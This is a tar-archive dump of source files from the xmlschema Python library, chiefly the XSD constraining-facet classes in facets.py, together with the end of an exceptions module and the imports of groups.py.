', max_lines=20) if hasattr(self.elem, 'sourceline'): line = getattr(self.elem, 'sourceline') chunks.append(f"Instance (line {line!r}):\n\n{instance_as_string}\n") else: chunks.append(f"Instance:\n\n{instance_as_string}\n") if self.path is not None: chunks.append("Path: %s\n" % self.path) return '\n'.join(chunks) if len(chunks) > 1 else chunks[0][:-2] def get_obj_as_string(self, indent: str = '', max_lines: Optional[int] = None) -> str: """ Return a string representation of obj attribute, with optional indentation and an optional limit on lines. """ if is_etree_element(self.obj): return self.get_elem_as_string(indent, max_lines) pp = PrettyPrinter(indent=2, depth=6) obj_as_string = pp.pformat(self.obj) if indent: obj_as_string = textwrap.indent(obj_as_string, prefix=indent) if max_lines and len(obj_as_string.splitlines()) > max_lines: obj_as_string = '\n'.join(obj_as_string.splitlines()[:max_lines - 3]) obj_as_string += f'\n\n{indent}...\n{indent}...' return obj_as_string class XMLSchemaDecodeError(XMLSchemaValidationError): """ Raised when an XML data string is not decodable to a Python object. :param validator: the XSD validator. :param obj: the not validated XML data. :param decoder: the XML data decoder. :param reason: the detailed reason of failed validation. :param source: the XML resource that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ _message = 'failed decoding {} with' def __init__(self, validator: Union['XsdValidator', Callable[[Any], None]], obj: Any, decoder: Any, reason: Optional[str] = None, source: Optional[Any] = None, namespaces: Optional[NsmapType] = None) -> None: super().__init__(validator, obj, reason, source, namespaces) self.decoder = decoder class XMLSchemaEncodeError(XMLSchemaValidationError): """ Raised when an object is not encodable to an XML data string. :param validator: the XSD validator. :param obj: the not validated XML data. :param encoder: the XML encoder. :param reason: the detailed reason of failed validation. :param source: the XML resource that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ _message = 'failed encoding {} with' def __init__(self, validator: Union['XsdValidator', Callable[[Any], None]], obj: Any, encoder: Any, reason: Optional[str] = None, source: Optional[Any] = None, namespaces: Optional[NsmapType] = None) -> None: super().__init__(validator, obj, reason, source, namespaces) self.encoder = encoder class XMLSchemaChildrenValidationError(XMLSchemaValidationError): """ Raised when a child element is not validated. :param validator: the XSD validator. :param elem: the not validated XML element. :param index: the child index. :param particle: the model particle that generated the error. Maybe the validator itself. :param occurs: the particle occurrences. :param expected: the expected element tags/object names. :param source: the XML resource that contains the error. :param namespaces: is an optional mapping from namespace prefix to URI. """ invalid_tag: Optional[str] """The tag of the invalid child element, `None` in case of an incomplete content.""" def __init__(self, validator: 'XsdValidator', elem: ElementType, index: int, particle: ModelParticleType, occurs: int = 0, expected: Optional[Iterable[SchemaElementType]] = None, source: Optional[Any] = None, namespaces: Optional[NsmapType] = None) -> None: self.index = index self.particle = particle self.occurs = occurs self.expected = expected if namespaces is None: namespaces = getattr(validator, 'namespaces', {}) if index >= len(elem): self.invalid_tag = None tag = get_prefixed_qname(elem.tag, namespaces, use_empty=False) reason = _("The content of element %r is not complete.") % tag else: self.invalid_tag = elem[index].tag tag = get_prefixed_qname(self.invalid_tag, namespaces, use_empty=False) reason = _("Unexpected child with tag %r at position %d.") % (tag, index + 1) if occurs and particle.min_occurs > occurs: reason += " The particle %r occurs %d times but the minimum is %d." % ( particle, occurs, particle.min_occurs ) elif particle.max_occurs is not None and particle.max_occurs < occurs: reason += " The particle %r occurs %r times but the maximum is %r." % ( particle, occurs, particle.max_occurs ) expected_tags = self.expected_tags if not expected_tags: pass elif len(expected_tags) > 1: reason += _(" Tag (%s) expected.") % ' | '.join(repr(tag) for tag in expected_tags) elif expected_tags[0].startswith('from '): reason += _(" Tag %s expected.") % expected_tags[0] else: reason += _(" Tag %r expected.") % expected_tags[0] super().__init__(validator, elem, reason, source, namespaces) @property def expected_tags(self) -> list[str]: expected_tags: list[str] = [] if not self.expected: return expected_tags for xsd_element in self.expected: name = xsd_element.display_name if name is not None: expected_tags.append(name) elif hasattr(xsd_element, 'process_contents'): wildcard = cast('XsdAnyElement', xsd_element) if wildcard.process_contents == 'strict': tmpl = 'from {!r} namespace/s' items = tuple(wildcard.namespace) if len(wildcard.namespace) == 1: expected_tags.append(tmpl.format(items[0])) else: expected_tags.append(tmpl.format(items)) return expected_tags @property def invalid_child(self) -> Optional[ElementType]: """ The invalid child element, if any, `None` otherwise. It's `None` in case of incomplete content or if the parent has been cleared during lazy validation. """ try: return self.elem[self.index] if self.elem is not None else None except IndexError: return None # in case of incomplete content or lazy trees class XMLSchemaStopValidation(XMLSchemaException): """Stops the validation process.""" class XMLSchemaIncludeWarning(XMLSchemaWarning): """A schema include fails.""" class XMLSchemaImportWarning(XMLSchemaWarning): """A schema namespace import fails.""" class XMLSchemaTypeTableWarning(XMLSchemaWarning): """Not equivalent type table found in model.""" class XMLSchemaAssertPathWarning(XMLSchemaWarning): """An improper XPath expression found in XSD 1.1 assertion.""" ��������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/facets.py������������������������������������������������������0000664�0000000�0000000�00000101275�15020401055�0021443�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains declarations and classes for XML Schema constraint facets. """ import re import math import operator from abc import abstractmethod from collections.abc import MutableSequence from typing import TYPE_CHECKING, Any, cast, overload, Optional, Type, Union from xml.etree.ElementTree import Element from elementpath import XPathContext, ElementPathError, \ translate_pattern, RegexError, ElementNode from elementpath.datatypes import AbstractQName from xmlschema.names import XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_ENUMERATION, \ XSD_INTEGER, XSD_WHITE_SPACE, XSD_PATTERN, XSD_MAX_INCLUSIVE, XSD_MAX_EXCLUSIVE, \ XSD_MIN_INCLUSIVE, XSD_MIN_EXCLUSIVE, XSD_TOTAL_DIGITS, XSD_FRACTION_DIGITS, \ XSD_ASSERTION, XSD_DECIMAL, XSD_EXPLICIT_TIMEZONE, XSD_NOTATION_TYPE, XSD_QNAME, \ XSD_ANNOTATION from xmlschema.aliases import ElementType, SchemaType, AtomicValueType, BaseXsdType from xmlschema.translation import gettext as _ from xmlschema.utils.decoding import count_digits from xmlschema.utils.qnames import local_name from .exceptions import XMLSchemaValidationError, XMLSchemaDecodeError from .xsdbase import XsdComponent, XsdAnnotation if TYPE_CHECKING: from .simple_types import XsdAtomicBuiltin, XsdList, XsdUnion, XsdAtomicRestriction LaxDecodeType = tuple[Any, list[XMLSchemaValidationError]] class XsdFacet(XsdComponent): """ XML Schema constraining facets base class. """ value: Optional[AtomicValueType] base_type: Optional[BaseXsdType] base_value: Optional[AtomicValueType] = None fixed = False __slots__ = ('base_type', 'value', 'validate') def __init__(self, elem: ElementType, schema: SchemaType, parent: Union['XsdAtomicBuiltin', 'XsdList', 'XsdUnion', 'XsdAtomicRestriction'], base_type: Optional[BaseXsdType]) -> None: self.value = None self.base_type = base_type self.validate = self.skip_validation super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(value=%r, fixed=%r)' % (self.__class__.__name__, self.value, self.fixed) def __call__(self, value: Any) -> None: self.validate(value) def skip_validation(self, value: Any) -> None: return def _parse(self) -> None: if 'fixed' in self.elem.attrib and self.elem.attrib['fixed'] in ('true', '1'): self.fixed = True base_facet = self.base_facet if base_facet is not None: self.base_value = base_facet.value try: self._parse_value(self.elem) except (KeyError, TypeError, ValueError) as err: self.parse_error(err) else: if base_facet is not None and base_facet.fixed and \ base_facet.value is not None and self.value != base_facet.value: msg = _("{0!r} facet value is fixed to {1!r}") self.parse_error(msg.format(local_name(self.elem.tag), base_facet.value)) def _parse_value(self, elem: ElementType) -> Union[None, AtomicValueType, re.Pattern[str]]: self.value = elem.attrib['value'] # pragma: no cover return None def invalid_type_error(self, error: Union[TypeError, AttributeError], value: Any) -> None: reason = _("invalid type {!r} provided: {}").format(type(value), str(error)) raise XMLSchemaValidationError(self, value, reason) from None @property def base_facet(self) -> Optional['XsdFacet']: """ An object of the same type if the instance has a base facet, `None` otherwise. """ base_type: Optional[BaseXsdType] = self.base_type tag = self.elem.tag while base_type is not None: try: base_facet = base_type.facets[tag] # type: ignore[union-attr] except (AttributeError, KeyError): base_type = base_type.base_type else: assert isinstance(base_facet, XsdFacet) return base_facet else: return None class XsdWhiteSpaceFacet(XsdFacet): """ XSD *whiteSpace* facet. .. <whiteSpace fixed = boolean : false id = ID value = (collapse | preserve | replace) {any attributes with non-schema namespace . . .}> Content: (annotation?) </whiteSpace> """ value: str _ADMITTED_TAGS = XSD_WHITE_SPACE, def _parse_value(self, elem: ElementType) -> None: self.value = elem.attrib['value'] if self.value == 'collapse': self.validate = self.collapse_white_space_validator elif self.value == 'replace': if self.base_value == 'collapse': self.parse_error(_("facet value can be only 'collapse'")) self.validate = self.replace_white_space_validator elif self.base_value == 'collapse': self.parse_error(_("facet value can be only 'collapse'")) elif self.base_value == 'replace': self.parse_error(_("facet value can be only 'replace' or 'collapse'")) def replace_white_space_validator(self, value: str) -> None: try: if '\t' in value or '\n' in value: raise XMLSchemaValidationError( self, value, _("value contains tabs or newlines") ) except TypeError as err: self.invalid_type_error(err, value) def collapse_white_space_validator(self, value: str) -> None: try: if '\t' in value or '\n' in value or ' ' in value: raise XMLSchemaValidationError( self, value, _("value contains non collapsed white spaces") ) except TypeError as err: self.invalid_type_error(err, value) class XsdLengthFacet(XsdFacet): """ XSD *length* facet. .. <length fixed = boolean : false id = ID value = nonNegativeInteger {any attributes with non-schema namespace . . .}> Content: (annotation?) </length> """ value: int base_type: BaseXsdType base_value: Optional[int] _ADMITTED_TAGS = XSD_LENGTH, def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value != self.base_value: msg = _("base facet has a different length ({})") self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in (XSD_QNAME, XSD_NOTATION_TYPE): # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 self.validate = self.length_validator def length_validator(self, value: Any) -> None: try: if len(value) != self.value: reason = _("length has to be {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: if not isinstance(value, AbstractQName): self.invalid_type_error(err, value) class XsdMinLengthFacet(XsdFacet): """ XSD *minLength* facet. .. <minLength fixed = boolean : false id = ID value = nonNegativeInteger {any attributes with non-schema namespace . . .}> Content: (annotation?) </minLength> """ value: int base_type: BaseXsdType base_value: Optional[int] _ADMITTED_TAGS = XSD_MIN_LENGTH, def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value < self.base_value: msg = _("base facet has a greater min length ({})") self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in (XSD_QNAME, XSD_NOTATION_TYPE): # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 self.validate = self.min_length_validator def min_length_validator(self, value: Any) -> None: try: if len(value) < self.value: reason = _("value length cannot be lesser than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: if not isinstance(value, AbstractQName): self.invalid_type_error(err, value) class XsdMaxLengthFacet(XsdFacet): """ XSD *maxLength* facet. .. <maxLength fixed = boolean : false id = ID value = nonNegativeInteger {any attributes with non-schema namespace . . .}> Content: (annotation?) </maxLength> """ value: int base_type: BaseXsdType base_value: Optional[int] _ADMITTED_TAGS = XSD_MAX_LENGTH, def _parse_value(self, elem: ElementType) -> None: self.value = int(elem.attrib['value']) if self.base_value is not None and self.value > self.base_value: msg = _("base type has a lesser max length ({})") self.parse_error(msg.format(self.base_value)) primitive_type = getattr(self.base_type, 'primitive_type', None) if primitive_type is None or primitive_type.name not in (XSD_QNAME, XSD_NOTATION_TYPE): # See: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 self.validate = self.max_length_validator def max_length_validator(self, value: Any) -> None: try: if len(value) > self.value: reason = _("value length cannot be greater than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: if not isinstance(value, AbstractQName): self.invalid_type_error(err, value) class XsdMinInclusiveFacet(XsdFacet): """ XSD *minInclusive* facet. .. <minInclusive fixed = boolean : false id = ID value = anySimpleType {any attributes with non-schema namespace . . .}> Content: (annotation?) </minInclusive> """ base_type: BaseXsdType _ADMITTED_TAGS = XSD_MIN_INCLUSIVE, def _parse_value(self, elem: ElementType) -> None: self.schema.validation_context.clear() value = self.base_type.text_decode( elem.attrib['value'], 'lax', self.schema.validation_context ) if isinstance(value, list): raise TypeError("attribute 'value' must be atomic") self.value = value self.validate = self.__call__ for e in self.schema.validation_context.errors: self.parse_error(_("invalid restriction: {}").format(e.reason)) self.value = value def __call__(self, value: Any) -> None: try: if value < self.value: reason = _("value has to be greater or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) class XsdMinExclusiveFacet(XsdFacet): """ XSD *minExclusive* facet. .. <minExclusive fixed = boolean : false id = ID value = anySimpleType {any attributes with non-schema namespace . . .}> Content: (annotation?) </minExclusive> """ base_type: BaseXsdType _ADMITTED_TAGS = XSD_MIN_EXCLUSIVE, def _parse_value(self, elem: ElementType) -> None: self.schema.validation_context.clear() value = self.base_type.text_decode( elem.attrib['value'], 'lax', self.schema.validation_context ) if isinstance(value, list): raise TypeError("attribute 'value' must be atomic") self.value = value self.validate = self.__call__ for e in self.schema.validation_context.errors: if not isinstance(e.validator, self.__class__) or e.validator.value != self.value: self.parse_error(_("invalid restriction: {}").format(e.reason)) facet: Any = self.base_type.get_facet(XSD_MAX_INCLUSIVE) if facet is not None and facet.value == self.value: msg = _("invalid restriction: {} is also the maximum") self.parse_error(msg.format(self.value)) def __call__(self, value: Any) -> None: try: if value <= self.value: reason = _("value has to be greater than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) class XsdMaxInclusiveFacet(XsdFacet): """ XSD *maxInclusive* facet. .. <maxInclusive fixed = boolean : false id = ID value = anySimpleType {any attributes with non-schema namespace . . .}> Content: (annotation?) </maxInclusive> """ base_type: BaseXsdType _ADMITTED_TAGS = XSD_MAX_INCLUSIVE, def _parse_value(self, elem: ElementType) -> None: self.schema.validation_context.clear() value = self.base_type.text_decode( elem.attrib['value'], 'lax', self.schema.validation_context ) if isinstance(value, list): raise TypeError("attribute 'value' must be atomic") self.value = value self.validate = self.__call__ for e in self.schema.validation_context.errors: self.parse_error(_("invalid restriction: {}").format(e.reason)) def __call__(self, value: Any) -> None: try: if value > self.value: reason = _("value has to be less than or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) class XsdMaxExclusiveFacet(XsdFacet): """ XSD *maxExclusive* facet. .. <maxExclusive fixed = boolean : false id = ID value = anySimpleType {any attributes with non-schema namespace . . .}> Content: (annotation?) </maxExclusive> """ base_type: BaseXsdType _ADMITTED_TAGS = XSD_MAX_EXCLUSIVE, def _parse_value(self, elem: ElementType) -> None: self.schema.validation_context.clear() value = self.base_type.text_decode( elem.attrib['value'], 'lax', self.schema.validation_context ) if isinstance(value, list): raise TypeError("attribute 'value' must be atomic") self.value = value self.validate = self.__call__ for e in self.schema.validation_context.errors: if not isinstance(e.validator, self.__class__) or e.validator.value != self.value: self.parse_error(_("invalid restriction: {}").format(e.reason)) facet: Any = self.base_type.get_facet(XSD_MIN_INCLUSIVE) if facet is not None and facet.value == self.value: msg = _("invalid restriction: {} is also the minimum") self.parse_error(msg.format(self.value)) def __call__(self, value: Any) -> None: try: if value >= self.value: reason = _("value has to be lesser than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) class XsdTotalDigitsFacet(XsdFacet): """ XSD *totalDigits* facet. .. <totalDigits fixed = boolean : false id = ID value = positiveInteger {any attributes with non-schema namespace . . .}> Content: (annotation?) </totalDigits> """ value: int base_type: BaseXsdType _ADMITTED_TAGS = XSD_TOTAL_DIGITS, def _parse_value(self, elem: ElementType) -> None: # Errors are detected by meta-schema validation. For schemas with # 'lax' validation mode use 9999 in case of an invalid value. self.validate = self.__call__ try: self.value = int(elem.attrib['value']) except (ValueError, KeyError): self.value = 9999 else: if self.value < 1: self.value = 9999 facet: Any = self.base_type.get_facet(XSD_TOTAL_DIGITS) if facet is not None and facet.value < self.value: msg = _("invalid restriction: base value is lower ({})") self.parse_error(msg.format(facet.value)) def __call__(self, value: Any) -> None: try: a, b = count_digits(value) if operator.add(a, b) <= self.value: return except TypeError as err: self.invalid_type_error(err, value) except (ValueError, ArithmeticError) as err: raise XMLSchemaValidationError(self, value, str(err)) from None else: reason = _("the number of digits has to be lesser or equal " "than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) class XsdFractionDigitsFacet(XsdFacet): """ XSD *fractionDigits* facet. .. <fractionDigits fixed = boolean : false id = ID value = nonNegativeInteger {any attributes with non-schema namespace . . .}> Content: (annotation?) </fractionDigits> """ value: int base_type: BaseXsdType _ADMITTED_TAGS = XSD_FRACTION_DIGITS, def __init__(self, elem: ElementType, schema: SchemaType, parent: 'XsdAtomicRestriction', base_type: BaseXsdType) -> None: super().__init__(elem, schema, parent, base_type) if not base_type.is_derived(self.maps.types[XSD_DECIMAL]): msg = _("fractionDigits facet can be applied only to types derived from xs:decimal") self.parse_error(msg) def _parse_value(self, elem: ElementType) -> None: # Errors are detected by meta-schema validation. For schemas with # 'lax' validation mode use 9999 in case of an invalid value. self.validate = self.__call__ try: self.value = int(elem.attrib['value']) except (ValueError, KeyError): self.value = 9999 else: if self.value < 0: self.value = 9999 elif self.value > 0 and self.base_type.is_derived(self.maps.types[XSD_INTEGER]): msg = _("fractionDigits facet value must be 0 for types derived from xs:integer") raise ValueError(msg) facet: Any = self.base_type.get_facet(XSD_FRACTION_DIGITS) if facet is not None and facet.value < self.value: msg = _("invalid restriction: base value is lower ({})") self.parse_error(msg.format(facet.value)) def __call__(self, value: Any) -> None: try: if count_digits(value)[1] <= self.value: return except TypeError as err: self.invalid_type_error(err, value) except (ValueError, ArithmeticError) as err: raise XMLSchemaValidationError(self, value, str(err)) from None else: reason = _("the number of fraction digits has to be lesser " "or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) class XsdExplicitTimezoneFacet(XsdFacet): """ XSD 1.1 *explicitTimezone* facet. .. <explicitTimezone fixed = boolean : false id = ID value = NCName {any attributes with non-schema namespace . . .}> Content: (annotation?) </explicitTimezone> """ value: str base_type: BaseXsdType _ADMITTED_TAGS = XSD_EXPLICIT_TIMEZONE, def _parse_value(self, elem: ElementType) -> None: self.value = elem.attrib['value'] if self.value == 'prohibited': self.validate = self.prohibited_timezone_validator elif self.value == 'required': self.validate = self.required_timezone_validator facet: Any = self.base_type.get_facet(XSD_EXPLICIT_TIMEZONE) if facet is not None and facet.value != self.value and facet.value != 'optional': msg = _("invalid restriction from {!r}") self.parse_error(msg.format(facet.value)) def required_timezone_validator(self, value: Any) -> None: try: if value.tzinfo is None: reason = _("time zone required for value {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except (TypeError, AttributeError) as err: self.invalid_type_error(err, value) def prohibited_timezone_validator(self, value: Any) -> None: try: if value.tzinfo is not None: reason = _("time zone prohibited for value {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) class XsdEnumerationFacets(XsdFacet, MutableSequence[ElementType]): """ Sequence of XSD *enumeration* facets. Values are validates if match any of enumeration values. .. <enumeration id = ID value = anySimpleType {any attributes with non-schema namespace . . .}> Content: (annotation?) </enumeration> """ base_type: BaseXsdType _ADMITTED_TAGS = XSD_ENUMERATION, __slots__ = ('_elements', 'enumeration') def __init__(self, elem: ElementType, schema: SchemaType, parent: 'XsdAtomicRestriction', base_type: BaseXsdType) -> None: super().__init__(elem, schema, parent, base_type) self.validate = self.__call__ def _parse(self) -> None: self._elements = [self.elem] self.enumeration = [self._parse_value(self.elem)] def _parse_value(self, elem: ElementType) -> Optional[AtomicValueType]: self.schema.validation_context.clear() try: value = self.base_type.text_decode( elem.attrib['value'], 'strict', self.schema.validation_context ) except KeyError: pass # pragma: no cover (already detected by meta-schema validation) except XMLSchemaValidationError as err: self.parse_error(err, elem) else: if self.base_type.name == XSD_NOTATION_TYPE: assert isinstance(value, str) try: notation_qname = self.schema.resolve_qname(value) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err, elem) else: if notation_qname not in self.maps.notations: msg = _("value {!r} must match a notation declaration") self.parse_error(msg.format(value), elem) return cast(AtomicValueType, value) return None @overload @abstractmethod def __getitem__(self, i: int) -> ElementType: ... @overload @abstractmethod def __getitem__(self, s: slice) -> MutableSequence[ElementType]: ... def __getitem__(self, i: Union[int, slice]) \ -> Union[ElementType, MutableSequence[ElementType]]: return self._elements[i] def __setitem__(self, i: Union[int, slice], o: Any) -> None: self._elements[i] = o if isinstance(i, int): self.enumeration[i] = self._parse_value(o) else: self.enumeration[i] = [self._parse_value(e) for e in o] def __delitem__(self, i: Union[int, slice]) -> None: del self._elements[i] del self.enumeration[i] def __len__(self) -> int: return len(self._elements) def insert(self, i: int, elem: ElementType) -> None: self._elements.insert(i, elem) self.enumeration.insert(i, self._parse_value(elem)) def __repr__(self) -> str: if len(self.enumeration) > 5: return '%s(%s)' % ( self.__class__.__name__, '[%s, ...]' % ', '.join(map(repr, self.enumeration[:5])) ) else: return '%s(%r)' % (self.__class__.__name__, self.enumeration) def __call__(self, value: Any) -> None: if value in self.enumeration: return try: if math.isnan(value): if any(math.isnan(x) for x in self.enumeration): # type: ignore[arg-type] return elif math.isinf(value): if any(math.isinf(x) and str(value) == str(x) # type: ignore[arg-type] for x in self.enumeration): # pragma: no cover return except TypeError: pass reason = _("value must be one of {!r}").format(self.enumeration) raise XMLSchemaValidationError(self, value, reason) def get_annotation(self, i: int) -> Optional[XsdAnnotation]: """ Get the XSD annotation of the i-th enumeration facet. :param i: an integer index. :returns: an XsdAnnotation object or `None`. """ for child in self._elements[i]: if child.tag == XSD_ANNOTATION: return XsdAnnotation(child, self.schema, self) return None class XsdPatternFacets(XsdFacet, MutableSequence[ElementType]): """ Sequence of XSD *pattern* facets. Values are validates if match any of patterns. .. <pattern id = ID value = string {any attributes with non-schema namespace . . .}> Content: (annotation?) </pattern> """ _ADMITTED_TAGS = XSD_PATTERN, patterns: list[re.Pattern[str]] # XSD pattern translation options back_references = False lazy_quantifiers = False anchors = False __slots__ = ('_elements', 'patterns') def __init__(self, elem: ElementType, schema: SchemaType, parent: 'XsdAtomicRestriction', base_type: Optional[BaseXsdType]) -> None: super().__init__(elem, schema, parent, base_type) self.validate = self.__call__ def _parse(self) -> None: self._elements = [self.elem] self.patterns = [self._parse_value(self.elem)] def _parse_value(self, elem: ElementType) -> re.Pattern[str]: try: python_pattern = translate_pattern( pattern=elem.attrib['value'], xsd_version=self.xsd_version, back_references=self.back_references, lazy_quantifiers=self.lazy_quantifiers, anchors=self.anchors, ) return re.compile(python_pattern) except KeyError: return re.compile(r'^.*$') except (RegexError, re.error, XMLSchemaDecodeError) as err: self.parse_error(str(err), elem) return re.compile(r'^.*$') @overload @abstractmethod def __getitem__(self, i: int) -> ElementType: ... @overload @abstractmethod def __getitem__(self, s: slice) -> MutableSequence[ElementType]: ... def __getitem__(self, i: Union[int, slice]) \ -> Union[ElementType, MutableSequence[ElementType]]: return self._elements[i] def __setitem__(self, i: Union[int, slice], o: Any) -> None: self._elements[i] = o if isinstance(i, int): self.patterns[i] = self._parse_value(o) else: self.patterns[i] = [self._parse_value(e) for e in o] def __delitem__(self, i: Union[int, slice]) -> None: del self._elements[i] del self.patterns[i] def __len__(self) -> int: return len(self._elements) def insert(self, i: int, elem: ElementType) -> None: self._elements.insert(i, elem) self.patterns.insert(i, self._parse_value(elem)) def __repr__(self) -> str: s = repr(self.regexps) if len(s) < 70: return '%s(%s)' % (self.__class__.__name__, s) else: return '%s(%s...\'])' % (self.__class__.__name__, s[:70]) def __call__(self, value: Any) -> None: try: if all(pattern.match(value) is None for pattern in self.patterns): reason = _("value doesn't match any pattern of {!r}").format(self.regexps) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) def re_match(self, text: str) -> Optional[re.Match[str]]: for pattern in self.patterns: if match := pattern.match(text): return match return None @property def regexps(self) -> list[str]: return [e.attrib.get('value', '') for e in self._elements] def get_annotation(self, i: int) -> Optional[XsdAnnotation]: """ Get the XSD annotation of the i-th pattern facet. :param i: an integer index. :returns: an XsdAnnotation object or `None`. """ for child in self._elements[i]: if child.tag == XSD_ANNOTATION: return XsdAnnotation(child, self.schema, self) return None class XsdAssertionFacet(XsdFacet): """ XSD 1.1 *assertion* facet for simpleType definitions. .. <assertion id = ID test = an XPath expression xpathDefaultNamespace = (anyURI | (##defaultNamespace | ##targetNamespace | ##local)) {any attributes with non-schema namespace . . .}> Content: (annotation?) </assertion> """ _ADMITTED_TAGS = XSD_ASSERTION, _root = ElementNode(elem=Element('root')) def __repr__(self) -> str: return '%s(test=%r)' % (self.__class__.__name__, self.path) def _parse(self) -> None: self.validate = self.__call__ try: self.path = self.elem.attrib['test'] except KeyError: self.parse_error(_("missing attribute 'test'")) self.path = 'true()' try: value = self.base_type.primitive_type.prefixed_name # type: ignore[union-attr] except AttributeError: value = self.any_simple_type.prefixed_name if 'xpathDefaultNamespace' in self.elem.attrib: self.xpath_default_namespace = self._parse_xpath_default_namespace(self.elem) else: self.xpath_default_namespace = self.schema.xpath_default_namespace self.parser = self.maps.loader.assertion_parser_class( namespaces=self.schema.namespaces, strict=False, variable_types={'value': value}, default_namespace=self.xpath_default_namespace ) try: self.token = self.parser.parse(self.path) except ElementPathError as err: self.parse_error(err) self.token = self.parser.parse('true()') def __call__(self, value: Any) -> None: context = XPathContext(self._root, variables={'value': value}) try: if not self.token.evaluate(context): reason = _("value is not true with test path {!r}").format(self.path) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: self.invalid_type_error(err, value) except ElementPathError as err: raise XMLSchemaValidationError(self, value, reason=str(err)) from None XSD_10_FACETS_CLASSES: dict[str, Type[XsdFacet]] = { XSD_WHITE_SPACE: XsdWhiteSpaceFacet, XSD_LENGTH: XsdLengthFacet, XSD_MIN_LENGTH: XsdMinLengthFacet, XSD_MAX_LENGTH: XsdMaxLengthFacet, XSD_MIN_INCLUSIVE: XsdMinInclusiveFacet, XSD_MIN_EXCLUSIVE: XsdMinExclusiveFacet, XSD_MAX_INCLUSIVE: XsdMaxInclusiveFacet, XSD_MAX_EXCLUSIVE: XsdMaxExclusiveFacet, XSD_TOTAL_DIGITS: XsdTotalDigitsFacet, XSD_FRACTION_DIGITS: XsdFractionDigitsFacet, XSD_ENUMERATION: XsdEnumerationFacets, XSD_PATTERN: XsdPatternFacets } XSD_11_FACETS_CLASSES: dict[str, Type[XsdFacet]] = XSD_10_FACETS_CLASSES.copy() XSD_11_FACETS_CLASSES.update({ XSD_ASSERTION: XsdAssertionFacet, XSD_EXPLICIT_TIMEZONE: XsdExplicitTimezoneFacet }) FACETS_CLASSES = { '1.0': XSD_10_FACETS_CLASSES, '1.1': XSD_11_FACETS_CLASSES, } XSD_10_FACETS = set(XSD_10_FACETS_CLASSES) XSD_11_FACETS = set(XSD_11_FACETS_CLASSES) XSD_10_LIST_FACETS = {XSD_LENGTH, XSD_MIN_LENGTH, XSD_MAX_LENGTH, XSD_PATTERN, XSD_ENUMERATION, XSD_WHITE_SPACE} XSD_11_LIST_FACETS = XSD_10_LIST_FACETS | {XSD_ASSERTION} XSD_10_UNION_FACETS = {XSD_PATTERN, XSD_ENUMERATION} XSD_11_UNION_FACETS = MULTIPLE_FACETS = {XSD_PATTERN, XSD_ENUMERATION, XSD_ASSERTION} �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/groups.py������������������������������������������������������0000664�0000000�0000000�00000172160�15020401055�0021516�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains classes for XML Schema model groups. """ import warnings from collections.abc import Iterable, Iterator, MutableMapping, MutableSequence from copy import copy as _copy from operator import attrgetter from typing import TYPE_CHECKING, cast, overload, Any, Optional, Union from xml.etree import ElementTree from xmlschema import limits from xmlschema.exceptions import XMLSchemaValueError from xmlschema.names import XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE, XSD_ELEMENT, \ XSD_ANY, XSI_TYPE, XSD_ANY_TYPE, XSD_ANNOTATION from xmlschema.aliases import ElementType, NsmapType, SchemaType, ModelParticleType, \ SchemaElementType, ComponentClassType, OccursCounterType from xmlschema.converters import ElementData from xmlschema.translation import gettext as _ from xmlschema.utils.decoding import Empty, raw_encode_value from xmlschema.utils.qnames import get_qname, local_name from .exceptions import XMLSchemaModelError, XMLSchemaModelDepthError, \ XMLSchemaValidationError, XMLSchemaTypeTableWarning, XMLSchemaCircularityError from .validation import DecodeContext, EncodeContext, ValidationMixin from .xsdbase import XsdComponent, XsdType from .particles import ParticleMixin, OccursCalculator from .elements import XsdElement, XsdAlternative from .wildcards import XsdAnyElement, XsdOpenContent from .models import 